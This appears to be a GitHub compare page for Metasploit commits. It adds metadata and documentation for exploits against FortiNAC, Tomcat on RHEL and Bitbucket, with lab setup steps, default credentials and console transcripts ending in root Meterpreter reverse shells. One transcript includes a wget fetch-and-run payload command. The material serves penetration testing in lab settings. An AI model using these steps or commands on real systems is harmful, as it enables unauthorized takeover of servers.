Compare commits

...

35 Commits

Author SHA1 Message Date
Spencer McIntyre 0c567c474e Land #17780, Update GSoC-2023-Project-Ideas.md
Update GSoC-2023-Project-Ideas.md to remove my name from mentor list
2023-03-16 10:06:29 -04:00
Metasploit 335c00e2f9 automatic module_metadata_base.json update 2023-03-16 05:16:49 -05:00
Christophe De La Fuente daadb4f523 Land #17775 - Add exploit for Bitbucket env var RCE (CVE-2022-43781) 2023-03-16 11:01:07 +01:00
Grant Willcox 1fef0ebdb1 Update GSoC-2023-Project-Ideas.md
I am no longer a mentor for this year, so remove my name from the mentor list.
2023-03-15 14:15:28 -05:00
space-r7 8a76dab0bd update line numbers 2023-03-15 13:24:33 -05:00
space-r7 22c05105d3 address review comments
reduces some code duplication, sets privileged to true,
and modifies documentation to reflect lhost / rhost opts
2023-03-15 11:18:03 -05:00
space-r7 fddcae3d93 don't always create repo 2023-03-14 19:03:58 -05:00
Metasploit c2c5c0c339 automatic module_metadata_base.json update 2023-03-14 11:24:18 -05:00
Grant Willcox c53a22d3fb Land #17750, FortiNAC keyUpload.jsp arbitrary file write CVE-2022-39952 2023-03-14 11:09:40 -05:00
Grant Willcox 7217a60e41 Update documentation to provide better installation instructions 2023-03-14 10:13:27 -05:00
Grant Willcox 4a4b2a28d2 Update documentation to provide better installation instructions 2023-03-14 09:21:08 -05:00
Metasploit d9c5a3debf automatic module_metadata_base.json update 2023-03-14 05:44:22 -05:00
cgranleese-r7 ec7347cd49 Land #17509, tomcat 7 priv esc on rhel based systems (cve-2016-5425) 2023-03-14 10:16:18 +00:00
space-r7 1eeaff255e make username / password opts required 2023-03-13 16:45:48 -05:00
Grant Willcox 3bd4c15704 Correct architecture and do final fixes 2023-03-13 15:46:42 -05:00
space-r7 4bb843fe70 add documentation, adjust method of getting ids 2023-03-13 15:31:41 -05:00
h00die 8dfe58e617 review comment
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-03-13 14:42:26 -04:00
space-r7 4eef052fcd add usage of linux cmdstager, cleanup, description 2023-03-13 13:24:15 -05:00
Metasploit 192af217b6 Bump version of framework to 6.3.8 2023-03-13 13:23:26 -05:00
Jack Heysel 2a9ddae531 Updated description 2023-03-09 17:43:14 -05:00
Jack Heysel 06e7c3d702 Responded to comments updated docs 2023-03-09 17:39:53 -05:00
space-r7 2fbc80a44f add base cmdstager support for windows target 2023-03-09 16:24:12 -06:00
jheysel-r7 63e2376f64 Apply suggestions from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-03-09 12:31:30 -05:00
space-r7 c69b5c9363 add creation of projects and multiple commits 2023-03-08 17:46:25 -06:00
Grant Willcox 100cfbccf9 Fix up some more slight things in documentation. Also tidy up some things in the module 2023-03-08 17:25:56 -06:00
Grant Willcox eeb30d2426 Fix up some typos etc from review in documentation 2023-03-08 16:44:06 -06:00
Jack Heysel d31220ef1e Updated references 2023-03-08 14:17:34 -05:00
Jack Heysel 263223b783 Last second file reorganization fix 2023-03-08 14:08:46 -05:00
Jack Heysel dfae7e2fc4 FortiNAC keyUploap.jsp arbitrary file write CVE-2022-39952 2023-03-08 14:06:28 -05:00
space-r7 99fb35fe84 refs/heads instead of refs/head 2023-03-03 17:24:39 -06:00
space-r7 871c9c57f3 add logic to retrieve email address 2023-02-17 14:13:29 -06:00
space-r7 197124dd76 add Git usage, repository creation 2023-02-16 17:38:02 -06:00
space-r7 d6419ee4fb add check method, login, main logic 2023-02-13 11:31:06 -06:00
h00die 62d43a6e96 use exploit retry function 2023-01-28 07:44:53 -05:00
h00die 633c58a0ff tomcat on rhel priv esc 2023-01-19 15:28:10 -05:00
11 changed files with 1754 additions and 5 deletions
+1 -1
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.3.7)
metasploit-framework (6.3.8)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
+1 -1
View File
@@ -71,7 +71,7 @@ memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.7, "New BSD"
metasploit-framework, 6.3.8, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.122, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
+191
View File
@@ -63273,6 +63273,73 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/fortinac_keyupload_file_write": {
"name": "Fortinet FortiNAC keyUpload.jsp arbitrary file write",
"fullname": "exploit/linux/http/fortinac_keyupload_file_write",
"aliases": [
],
"rank": 600,
"disclosure_date": "2023-02-16",
"type": "exploit",
"author": [
"Gwendal Guégniaud",
"Zach Hanley",
"jheysel-r7"
],
"description": "This module uploads a payload to the /tmp directory in addition to a cron job\n to /etc/cron.d which executes the payload in the context of the root user.\n\n The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which\n is accessible remotely and without authentication. When you send the vulnerable\n endpoint a ZIP file, it will extract an attacker controlled file to a directory\n of the attackers choice on the target system.\n\n This issue is exploitable on the following versions of FortiNAC:\n\n FortiNAC version 9.4 prior to 9.4.1\n FortiNAC version 9.2 prior to 9.2.6\n FortiNAC version 9.1 prior to 9.1.8\n FortiNAC 8.8 all versions\n FortiNAC 8.7 all versions\n FortiNAC 8.6 all versions\n FortiNAC 8.5 all versions\n FortiNAC 8.3 all versions",
"references": [
"URL-https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/",
"URL-https://www.fortiguard.com/psirt/FG-IR-22-300",
"URL-https://github.com/horizon3ai/CVE-2022-39952",
"URL-https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952",
"CVE-2022-39952"
],
"platform": "Linux,Unix",
"arch": "cmd, x64, x86",
"rport": 8443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"CMD",
"Linux x86",
"Linux x64"
],
"mod_time": "2023-03-13 15:46:42 +0000",
"path": "/modules/exploits/linux/http/fortinac_keyupload_file_write.rb",
"is_install_path": true,
"ref_name": "linux/http/fortinac_keyupload_file_write",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/fortinet_authentication_bypass_cve_2022_40684": {
"name": "Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.",
"fullname": "exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684",
@@ -76657,6 +76724,65 @@
],
"needs_cleanup": true
},
"exploit_linux/local/tomcat_rhel_based_temp_priv_esc": {
"name": "Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation",
"fullname": "exploit/linux/local/tomcat_rhel_based_temp_priv_esc",
"aliases": [
],
"rank": 0,
"disclosure_date": "2016-10-10",
"type": "exploit",
"author": [
"h00die",
"Dawid Golunski <dawid@legalhackers.com>"
],
"description": "This module exploits a vulnerability in RedHat based systems where\n improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf\n for Apache Tomcat versions before 7.0.54-8. This may also work against\n\n The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage\n temporary files including their creation.\n\n With this weak permission, we're able to inject commands into systemd-tmpfiles\n service to write a cron job to execute our payload.\n\n systemd-tmpfiles is executed by default on boot on RedHat-based systems\n through systemd-tmpfiles-setup.service. Depending on the system in use,\n the execution of systemd-tmpfiles could also be triggered by other\n services, cronjobs, startup scripts etc.\n\n This module was tested against Tomcat 7.0.54-3 on Fedora 21.",
"references": [
"EDB-40488",
"URL-https://access.redhat.com/security/cve/CVE-2016-5425",
"URL-http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html",
"URL-https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html",
"CVE-2016-5425"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2023-03-13 14:42:26 +0000",
"path": "/modules/exploits/linux/local/tomcat_rhel_based_temp_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/tomcat_rhel_based_temp_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes",
"ioc-in-logs"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/tomcat_ubuntu_log_init_priv_esc": {
"name": "Apache Tomcat on Ubuntu Log Init Privilege Escalation",
"fullname": "exploit/linux/local/tomcat_ubuntu_log_init_priv_esc",
@@ -85803,6 +85929,71 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/bitbucket_env_var_rce": {
"name": "Bitbucket Environment Variable RCE",
"fullname": "exploit/multi/http/bitbucket_env_var_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-11-16",
"type": "exploit",
"author": [
"Ry0taK",
"y4er",
"Shelby Pace"
],
"description": "For various versions of Bitbucket, there is an authenticated command injection\n vulnerability that can be exploited by injecting environment\n variables into a user name. This module achieves remote code execution\n as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment\n variable, a null character as a delimiter, and arbitrary code into a user's\n user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable\n will be run once the Bitbucket application is coerced into generating a diff.\n\n This module requires at least admin credentials, as admins and above\n only have the option to change their user name.",
"references": [
"URL-https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/",
"URL-https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html",
"CVE-2022-43781"
],
"platform": "Linux,Unix,Windows",
"arch": "cmd, x86, x64",
"rport": 7990,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux Command",
"Linux Dropper",
"Windows Dropper"
],
"mod_time": "2023-03-15 11:18:03 +0000",
"path": "/modules/exploits/multi/http/bitbucket_env_var_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/bitbucket_env_var_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/bolt_file_upload": {
"name": "CMS Bolt File Upload Vulnerability",
"fullname": "exploit/multi/http/bolt_file_upload",
@@ -1,8 +1,8 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @jmartin-r7, @gwillcox-r7
Mentors: @jmartin-r7
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
@@ -0,0 +1,192 @@
## Vulnerable Application
This module uploads a payload to the `/tmp` directory in addition to a cron job to `/etc/cron.d` which executes the payload
in the context of the `root` user.
The core vulnerability is an arbitrary file write issue in `/configWizard/keyUpload.jsp` which is accessible remotely and without
authentication. When you send this endpoint a ZIP file, it will extract an an attacker controlled file to directory
on the system of the attacker's choice.
This issue is exploitable on the following versions of FortiNAC:
- FortiNAC version 9.4 prior to 9.4.1
- FortiNAC version 9.2 prior to 9.2.6
- FortiNAC version 9.1 prior to 9.1.8
- FortiNAC 8.8 all versions
- FortiNAC 8.7 all versions
- FortiNAC 8.6 all versions
- FortiNAC 8.5 all versions
- FortiNAC 8.3 all versions
### Setup
Navigate to https://www.fortinet.com/demo-center/nac-demo to obtain a FortiNAC free product demo. Fill out the
necessary fields in order to download: first name, last name, job function, job level, company, email address, phone
number, state, zip/postal code. You'll receive a confirmation email; click the link in the email in order to access the
free product download.
Import the OVA file into your virtualization software of choice. Personally, I had success using VMWare Fusion. Note
that when using VMWare products, you will need to use a tool such as 7-Zip to unzip the `.ova` file, find the manifest
file contained within, which will end with `.mf`, and then rezip the file again. This is due to a bug noted at
https://github.com/home-assistant/operating-system/issues/2121
Personally I just navigated to the `.ova` file in Windows, right clicked, and chose `7-Zip`, then `Open Archive`,
and then deleted the `.mf` file that appeared before closing 7-Zip, which did the trick. Once this is done you
can then import the OVA file into VMWare fine.
Once the OVA file has been imported, but before starting the machine, if you are using VMWare, go into
`Edit->Virtual Network Editor` and look at the `Subnet Address` section for the `Host Only` adapter. You will
need this for later sections.
Next change the two interfaces of the imported machine from Bridged to Host Only. Then turn the machine on.
Once the machine turns on, log in with the following default credentials as outlined in the
[VMware Virtual Machine Installation Guide](https://fortinetweb.s3.amazonaws.com/docs.fortinet.com/v2/attachments/920a0000-200d-11e9-b6f6-f8bc1258b856/fortinac-vmware-install-85.pdf):
```
Username: root
Password: 162PemBnI
```
Once authenticated successfully, statically set the IP address of the machine using the subnet information you obtained
earlier. In our case the subnet was `192.168.123.0/24` so we just set the gateway to `192.168.123.1` and set the IP address
of the machine to `192.168.123.11/24` to set it to a static IP address that is available on this subnet. Be sure to update
these commands and any of the following commands to replace `192.168.123.11` and `192.168.123.1` with the appropriate
gateway and host IP addresses.
`configIP 192.168.123.11 255.255.255.0 192.168.123.1`
Navigate to the directory where the license file resides, and then start a Python SimpleHTTPServer web server to
host files from this directory using the following commands:
```
cd /bsc/campusMgr
python -m SimpleHTTPServer 9099
```
On your local machine download the license file from the Python server started above:
`wget -O licenseKey http://192.168.123.11:9099/.licenseKey`
On your local machine, open the browser of your choice and navigate to:
`https://192.168.123.11:8443/gui`
Authenticate with the default username and password:
```
Username: root
Password: YAMS
```
When installing the software, first accept the license agreement. Then upload the license key, providing the
the `.licenseKey` file you downloaded from the Python HTTP server and click `Next`. Under `Change Default Passwords`,
set a username and password for a new admin account that can log in via the GUI, and under `CLI Accounts` set a new
password for the `root` user to log in via the CLI of the console.
Under the `Select Installation Method` section, select `Manual Installation` and click `OK`. You should be redirected to
a URL that looks like `https://192.168.116.12:8443/gui/system/config-wizard` and be prompted to provide a license key.
Just provide the same `.licenseKey` file you downloaded, same procedure and key as you provided earlier and click `OK`.
At this point you should see a page with a header named `BASIC NETWORK`. Set the `Host Name (Do not include domain)`
field to `localhost` and then under `DNS` section, set the `Domain [example: yourdomain.com]` to `localhost.localdomain`.
Finally set the `Network Type` to `None`. This is a not a hard requirement but it will save you a lot of
unnecessary setup. Click `Next` and then `Apply` and click `OK` on the popup that appears.
Once this is done, you will be required to change the default passwords from the GUI and once complete,
restart the machine by clicking on the `Restart` button. One the machine reboots, you should have a
vulnerable instance of FortiNAC configured.
## Options
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/multi/http/fortinac_keyupload_file_upload`
1. Set the `RHOST` and `LHOST` options
1. Run the module
1. Receive a Meterpreter session as the `root` user.
## Scenarios
### FortiNAC 9.4.0 CMD Target
```
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
rhosts => 192.168.123.11
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044
lport => 4044
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
[*] Started reverse TCP handler on 192.168.123.1:4044
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
[*] Waiting for cron job to run
[*] Sending stage (24772 bytes) to 192.168.123.11
[*] Meterpreter session 1 opened (192.168.123.1:4044 -> 192.168.123.11:59938) at 2023-03-09 17:01:02 -0500
[!] This exploit may require manual cleanup of '/etc/cron.d/ZlzEXbWF' on the target
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localhost.localdomain
OS : Linux 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
### FortiNAC 9.4.0 Linux x64 Target
```
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 CMD
1 Linux x86
2 Linux x64
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2
target => 2
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
rhosts => 192.168.123.11
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909
lport => 9909
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
[*] Started reverse TCP handler on 192.168.123.1:9909
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
[*] Sending zipped payload to /configWizard/keyUpload.jsp
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
[*] Waiting for cron job to run
[*] Sending stage (3045348 bytes) to 192.168.123.11
[*] Meterpreter session 3 opened (192.168.123.1:9909 -> 192.168.123.11:38266) at 2023-03-09 17:31:01 -0500
[!] This exploit may require manual cleanup of '/tmp/HcYciseH' on the target
[!] This exploit may require manual cleanup of '/etc/cron.d/DsxejZgV' on the target
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localhost.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,148 @@
## Vulnerable Application
This module exploits a vulnerability in RedHat based systems where
improper file permissions are applied to `/usr/lib/tmpfiles.d/tomcat.conf`
for Apache Tomcat versions before 7.0.54-8. This may also work against
The configuration files in `tmpfiles.d` are used by `systemd-tmpfiles` to manage
temporary files including their creation.
With this weak permission, we're able to inject commands into `systemd-tmpfiles`
service to write a cron job to execute our payload.
`systemd-tmpfiles` is executed by default on boot on RedHat-based systems
through `systemd-tmpfiles-setup.service`. Depending on the system in use,
the execution of `systemd-tmpfiles` could also be triggered by other
services, cronjobs, startup scripts etc.
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
### Install
This will install Tomcat 7 (7.0.54-3) on Fedora 21.
We also change the `tomcat` user's shell to `/bin/bash` to make setting up the priv-esc
easier.
```
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-lib-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-collections-3.2.1-20.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-daemon-1.0.15-8.fc21.x86_64.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-dbcp-1.4-16.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-logging-1.1.3-14.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/a/apache-commons-pool-1.6-9.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-el-2.2-api-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-jsp-2.2-api-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/t/tomcat-servlet-3.0-api-7.0.54-3.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/e/ecj-4.4.0-1.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jta-1.1.1-17.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/g/geronimo-jms-1.1.1-19.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/l/log4j12-1.2.17-7.fc21.noarch.rpm
wget https://archive.fedoraproject.org/pub/archive/fedora/linux/releases/21/Everything/x86_64/os/Packages/j/javamail-1.5.1-3.fc21.noarch.rpm
rpm -i *.rpm
sudo sed -i 's|/bin/nologin|/bin/bash|g' /etc/passwd
```
You can now `su tomcat` and get your starter shell.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get an initial shell as the `tomcat` user
4. Do: `use exploit/linux/local/tomcat_rhel_based_temp_priv_esc`
5. Do: `set session #`
6. Do: `run`
7. You should get a root shell.
## Options
### WritableDir
A directory where we can write and execute files. Defaults to `/tmp`.
## Scenarios
### Tomcat 7 (7.0.54-3) on Fedora 21
Initial shell
```
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8080/fGd5wnh85
[*] Server started.
[*] Run the following command on the target machine:
wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown
msf6 exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045348 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500
msf6 exploit(multi/script/web_delivery) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: tomcat
meterpreter > sysinfo
Computer : localhost.domain
OS : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
```
Priv Esc
```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable app version detected: 7.0.54.pre.3
[*] Creating backup of /usr/lib/tmpfiles.d/tomcat.conf
[+] Original /usr/lib/tmpfiles.d/tomcat.conf backed up to /root/.msf4/loot/20230119152336_default_2.2.2.2_usrlibtmpfile_530018.txt
[*] Uploading Payload to /tmp/.4ptbf6f4fW
[*] Writing '/tmp/.4ptbf6f4fW' (1068640 bytes) ...
[*] Writing permission elevation into /usr/lib/tmpfiles.d/tomcat.conf
[*] Creating cron job in /etc/cron.d/grPwZ
[+] Waiting 1800 seconds on tmpfiles-setup.service to restart (/usr/bin/systemd-tmpfiles --create)
[*] Sleeping for 2 seconds before attempting again
[*] Sleeping for 4 seconds before attempting again
[*] Sleeping for 8 seconds before attempting again
[-] /etc/cron.d/grPwZ not found, checking in 10 seconds
[*] Waiting on cron to kick the payload (~1 minute)
[+] Deleted /tmp/.4ptbf6f4fW
[+] Deleted /etc/cron.d/grPwZ
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:41271) at 2023-01-19 15:24:24 -0500
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,272 @@
## Vulnerable Application
For various versions of Bitbucket, there is an authenticated command injection
vulnerability that can be exploited by injecting environment
variables into a user name. This module achieves remote code execution
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
variable, a null character as a delimiter, and arbitrary code into a user's
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
will be run once the Bitbucket application is coerced into generating a diff.
This module requires at least admin credentials, as admins and above only have the
option to change their user name.
The [advisory](https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html) lists the following versions as vulnerable:
* 7.0 to 7.5 (all versions)
* 7.6.0 to 7.6.18
* 7.7 to 7.16 (all versions)
* 7.17.0 to 7.17.11
* 7.18 to 7.20 (all versions)
* 7.21.0 to 7.21.5
If mesh.enabled=false is set in bitbucket.properties:
* 8.0.0 to 8.0.4
* 8.1.0 to 8.1.4
* 8.2.0 to 8.2.3
* 8.3.0 to 8.3.2
* 8.4.0 to 8.4.1
### Installation Instructions
1. Install Git on the target machine
* For Linux
* sudo apt install -y git
* For Windows
* Download an [installer](https://github.com/git-for-windows/git/releases/download/v2.39.2.windows.1/Git-2.39.2-64-bit.exe)
* Selecting all defaults should be fine
2. Download a vulnerable version of Bitbucket. For example, version `7.18.1` can be found
[here for Linux](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.bin) and [here for Windows](https://www.atlassian.com/software/stash/downloads/binary/atlassian-bitbucket-7.18.1-x64.exe)
3. For Linux, make sure the resulting bin file is executable and run it. Just double click on the installer file if using Windows
* chmod +x atlassian-bitbucket-8.3.0-x64.bin && sudo ./atlassian-bitbucket-8.3.0-x64.bin
4. An installation wizard will pop up. Make sure `Install a new instance` is checked, then click `Next`
5. Check `Install a Server instance` and click `Next`
6. If the default destination directory looks good, click `Next`
7. Click `Next` if the default Bitbucket data directory looks fine
8. Make sure the `Use default HTTP port (7990)` selection is checked and click `Next`
9. Make sure the `Install Bitbucket as a service` box is checked and click `Next`
10. Click `Install` if everything looks correct on the summary screen
11. Once the installation completes, make sure the `Would you like to launch Bitbucket` option is selected
and click `Next`
12. Ensure `Launch Bitbucket <version> in browser` is selected and click `Finish`
13. Navigate to the Bitbucket setup page (http://localhost:7990) and select the `I need an evaluation license` option
14. If you already have an account, select `I have an account`; otherwise, create a new account
15. 'up and running' should be selected on the next page, so click `Generate License`
16. Confirm that the prompt gives you the correct server, then click `Yes`
17. The license should be entered in the box, so select `Next`
18. Finally, set up an administrator account
*Note*: If an error occurs on the last step, just open a browser and navigate to the setup
page at 127.0.0.1:7990. If installing an 8.* version of Bitbucket, you will need to create
a `bitbucket.properties` file at `/var/atlassian/application-data/bitbucket/shared`. Once created,
add the line `mesh.enabled=false`, save the file, and restart Bitbucket.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/bitbucket_env_var_rce`
4. Do: `set USERNAME <username>`
5. Do: `set PASSWORD <pass>`
6. Do: `set RHOST <target_ip>`
7. Do: `set LHOST <listen_ip>`
8. Do: `run`
9. You should get a shell.
## Options
### USERNAME
Username to authenticate with and has at least admin privileges
### PASSWORD
Password to authenticate with
## Scenarios
### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, CMD Target
```
msf6 > use exploit/multi/http/bitbucket_env_var_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
rhost => 192.168.140.149
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username test
username => test
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password password
password => password
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Project creation was successful
[+] Successfully created repository 'fjNMKiB'
